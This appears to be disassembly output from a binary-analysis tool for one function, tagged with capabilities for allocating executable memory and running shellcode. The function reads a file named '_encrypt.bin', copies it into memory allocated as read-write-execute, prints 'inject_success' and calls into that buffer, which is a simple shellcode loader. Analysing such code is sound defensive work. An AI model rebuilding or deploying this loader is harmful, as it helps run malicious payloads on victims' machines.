Function at 0x140002f20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0xb0], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x60]
call fcn.140001fb0
nop
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x140002fd3
lea rdx, [0x140005558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400025a0
mov rcx, rax
lea rdx, str.._encrypt.bin
call fcn.1400025a0
mov rcx, rax
lea rdx, [0x140002770]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rsp + 0x60]
call fcn.140001290
mov eax, 1
jmp 0x1400032bf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x90], rax
mov word [rbp + 0x98], 1
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx - 0x58]
mov qword [rsp + 0x40], rax
test rax, rax
sete byte [rsp + 0x48]
mov byte [rsp + 0x49], 0
movdqu xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], 0
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x50], rcx
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x90], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm1
movzx esi, byte [rsp + 0x49]
mov rbx, qword [rsp + 0x40]
movzx r15d, byte [rbp + 0x98]
mov rdi, qword [rbp + 0x90]
test rax, rax
jne 0x14000306c
movzx r14d, byte [rsp + 0x48]
jmp 0x140003090
test rbx, rbx
je 0x140003084
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140003084
movzx esi, al
jmp 0x140003086
xor ebx, ebx
mov r14b, 1
nop dword [rax]
test r15b, r15b
jne 0x1400030ad
test rdi, rdi
je 0x1400030a8
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x1400030aa
xor edi, edi
mov r15b, 1
test rbx, rbx
jne 0x1400031dd
test rdi, rdi
jne 0x1400031e6
lea rcx, [rsp + 0x70]
call fcn.140002360
test rax, rax
jne 0x1400030ec
mov rax, qword [rsp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rax
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.140002cb0
nop
mov rsi, qword [rbp + 0x98]
mov rbx, qword [rbp + 0x90]
sub rsi, rbx
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
jne 0x140003159
xor r9d, r9d
lea r8, str.Prompt
lea rdx, str.VirtuallAlloc_Failed___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r8, rsi
mov rdx, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
test rax, rax
jne 0x140003185
xor r9d, r9d
lea r8, str.Prompt
lea rdx, str.WriteMemory_Failed___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.inject_success
call fcn.140002c50
call rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
nop
test rbx, rbx
je 0x140003260
mov rdx, qword [rbp + 0xa0]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x140003257
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003257
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test rdi, rdi
jne 0x1400030bf
test r14b, r14b
jne 0x140003205
test rbx, rbx
je 0x140003203
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140003203
movzx esi, al
jmp 0x140003205
xor ebx, ebx
mov byte [rsp + 0x30], sil
mov rax, qword [rbp + 0x78]
cmp rax, qword [rbp + 0x80]
je 0x140003220
mov byte [rax], sil
inc qword [rbp + 0x78]
jmp 0x140003232
lea r8, [rsp + 0x30]
mov rdx, qword [rbp + 0x78]
lea rcx, [rbp + 0x70]
call fcn.140002ac0
test rbx, rbx
je 0x140003084
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x140003084
mov byte [rsp + 0x48], 0
jmp 0x14000306c
mov rcx, rbx
call fcn.1400033ac
nop
mov rcx, qword [rbp + 0x70]
test rcx, rcx
je 0x1400032b3
mov rdx, qword [rbp + 0x80]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000329b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000329b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400033ac
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], 0
lea rcx, [rsp + 0x60]
call fcn.140001290
xor eax, eax
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.140003350
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret